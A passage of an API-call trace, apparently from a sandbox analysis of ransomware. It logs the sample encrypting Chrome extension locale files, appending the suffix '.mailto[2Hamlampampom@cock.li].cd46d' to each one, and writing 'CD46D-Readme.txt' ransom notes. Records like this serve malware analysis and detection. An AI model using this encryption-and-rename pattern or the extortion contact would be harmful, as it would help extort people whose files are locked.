_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" [0197.746] wcscat (in: _Dest=0xd494ca0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.746] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x163bfe90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.746] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9d30 [0197.922] FlushFileBuffers (hFile=0x14b8) returned 1 [0197.931] CloseHandle (hObject=0x14b8) returned 1 [0197.984] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5f50 [0197.984] wcscpy (in: _Dest=0x9b5f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\" [0197.984] wcscat (in: _Dest=0x9b5f50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\CD46D-Readme.txt" [0197.984] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\cd46d-readme.txt")) returned 0xffffffff [0197.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0198.115] WriteFile (in: hFile=0x1094, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x163bfe98, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x163bfe98*=0x6fd, lpOverlapped=0x0) returned 1 [0198.116] CloseHandle (hObject=0x1094) returned 1 [0198.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5f50) returned 1 [0198.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99da70) returned 1 Thread: id = 8418 os_tid = 0x1ca0 [0193.582] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json")) returned 0x2020 [0193.582] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json", dwFileAttributes=0x20) returned 1 [0193.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1754 [0193.583] GetFileSizeEx (in: hFile=0x1754, lpFileSize=0x1640fee4 | out: lpFileSize=0x1640fee4*=179) returned 1 [0193.583] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.583] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9386d0 [0193.583] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938748 [0193.583] NtQuerySystemTime (in: CurrentTime=0x1640fe44 | out: CurrentTime=0x1640fe44*=132174899681818000) returned 0x0 [0193.583] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x15b38181 [0193.583] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x5be0cb33 [0193.583] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x68619d6a [0193.583] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x25b6e14a [0193.583] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x63512e59 [0193.583] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x86c5acc [0193.583] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x1532f741 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x79bb7d7c [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x28463657 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x4bfc1969 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x4f564b9c [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x48bcf181 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x6d7c1a53 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x2c32b5d5 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x4a9effe3 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x3ddc3783 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x84b5736 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x7f5a6468 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x5f48e04b [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x1f7021a4 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x5ac8e15 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x2967806b [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x2409fdcd [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x1addce25 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x455d5373 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x48f16f82 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x7a26114 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x21c396fd [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x1cc153c6 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x145cbb81 [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x117ad0af [0193.584] RtlRandomEx (in: Seed=0x1640fe50 | out: Seed=0x1640fe50) returned 0x5a92407b [0193.597] ReadFile (hFile=0x1754, lpBuffer=0x12c842c8, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x1640fe40, lpOverlapped=0x0) [0193.598] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.598] WriteFile (in: hFile=0x1754, lpBuffer=0x12c90ad0*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x1640fe3c, lpOverlapped=0x0 | out: lpBuffer=0x12c90ad0*, lpNumberOfBytesWritten=0x1640fe3c*=0xb3, lpOverlapped=0x0) returned 1 [0195.355] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5df0 [0195.355] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5bc0 [0195.355] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5bc0) returned 1 [0195.355] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c90ad0) returned 1 [0195.371] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c842c8) returned 1 [0195.374] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8968) returned 1 [0195.374] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9c30) returned 1 [0195.374] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6f60 [0195.375] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.375] WriteFile (in: hFile=0x1754, lpBuffer=0x12cf6be8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1640fea4, lpOverlapped=0x0 | out: lpBuffer=0x12cf6be8*, lpNumberOfBytesWritten=0x1640fea4*=0x10b, lpOverlapped=0x0) returned 1 [0197.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6be8) returned 1 [0197.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f90) returned 1 [0197.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5bc0) returned 1 [0197.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f60) returned 1 [0197.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5df0) returned 1 [0197.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9386d0) returned 1 [0197.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909398) returned 1 [0197.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095f0) returned 1 [0197.747] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0xd494e28 [0197.747] wcscpy (in: _Dest=0xd494e28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" [0197.747] wcscat (in: _Dest=0xd494e28, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.747] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1640fe5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.747] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x9344e8 [0197.925] FlushFileBuffers (hFile=0x1754) returned 1 [0197.936] CloseHandle (hObject=0x1754) returned 1 [0197.985] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9b58e8 [0197.985] wcscpy (in: _Dest=0x9b58e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\" [0197.985] wcscat (in: _Dest=0x9b58e8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\CD46D-Readme.txt" [0197.985] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\cd46d-readme.txt")) returned 0xffffffff [0197.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0198.118] WriteFile (in: hFile=0x1094, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x1640fe64, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x1640fe64*=0x6fd, lpOverlapped=0x0) returned 1 [0198.119] CloseHandle (hObject=0x1094) returned 1 [0198.119] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b58e8) returned 1 [0198.119] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b61e0) returned 1 Thread: id = 8459 os_tid = 0x1b58 [0194.255] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json")) returned 0x2020 [0194.835] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json", dwFileAttributes=0x20) returned 1 [0199.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x854 [0199.381] GetFileSizeEx (in: hFile=0x854, lpFileSize=0x2b0f81c | out: lpFileSize=0x2b0f81c*=213) returned 1 [0199.381] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.381] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e99e0 [0199.381] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9760 [0199.381] NtQuerySystemTime (in: CurrentTime=0x2b0f77c | out: CurrentTime=0x2b0f77c*=132174899739694000) returned 0x0 [0199.381] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x7abe4d35 [0199.381] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x59a26a9d [0199.381] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x3cbe8d9c [0199.381] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x7194afc1 [0199.381] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x549d2b8 [0199.381] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x718ef392 [0199.381] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x35857d37 [0199.381] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x5587b0b6 [0199.381] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x316eb4e9 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x2d704d23 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x7aba8345 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x7c7bf119 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0xcdd28db [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x60a51bc0 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0xbe505d9 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x646dff5a [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x6d279c85 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x2984a84d [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x53a7ac6b [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x4d12e89f [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0xa9aa2a6 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x65024665 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x6f2fb4ee [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x1ccf4ce1 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x6927e66 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x3f2df70 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x26221d64 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x14891f7b [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x101cfb5d [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x5199eeb6 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x6fa1d524 [0199.382] RtlRandomEx (in: Seed=0x2b0f788 | out: Seed=0x2b0f788) returned 0x28f6fa8c [0199.395] ReadFile (in: hFile=0x854, lpBuffer=0x13497008, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x2b0f778, lpOverlapped=0x0 | out: lpBuffer=0x13497008*, lpNumberOfBytesRead=0x2b0f778*=0xd5, lpOverlapped=0x0) returned 1 [0199.396] SetFilePointerEx (in: hFile=0x854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.396] WriteFile (in: hFile=0x854, lpBuffer=0x134a3810*, nNumberOfBytesToWrite=0xd5, lpNumberOfBytesWritten=0x2b0f774, lpOverlapped=0x0 | out: lpBuffer=0x134a3810*, lpNumberOfBytesWritten=0x2b0f774*=0xd5, lpOverlapped=0x0) returned 1 [0201.087] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93ded8 [0201.087] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5d00 [0201.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5d00) returned 1 [0201.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134a3810) returned 1 [0201.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13497008) returned 1 [0201.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8face0) returned 1 [0201.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2c08) returned 1 [0201.087] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x937fd0 [0201.087] SetFilePointerEx (in: hFile=0x854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.087] WriteFile (in: hFile=0x854, lpBuffer=0x12cf5950*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2b0f7dc, lpOverlapped=0x0 | out: lpBuffer=0x12cf5950*, lpNumberOfBytesWritten=0x2b0f7dc*=0x10b, lpOverlapped=0x0) returned 1 [0201.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5950) returned 1 [0201.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938000) returned 1 [0201.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5d00) returned 1 [0201.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fd0) returned 1 [0201.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ded8) returned 1 [0201.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e99e0) returned 1 [0201.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9990) returned 1 [0201.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b98) returned 1 [0201.747] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17e) returned 0x943dc8 [0201.747] wcscpy (in: _Dest=0x943dc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" [0201.747] wcscat (in: _Dest=0x943dc8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.747] RtlDosPathNameToNtPathName_U (in: 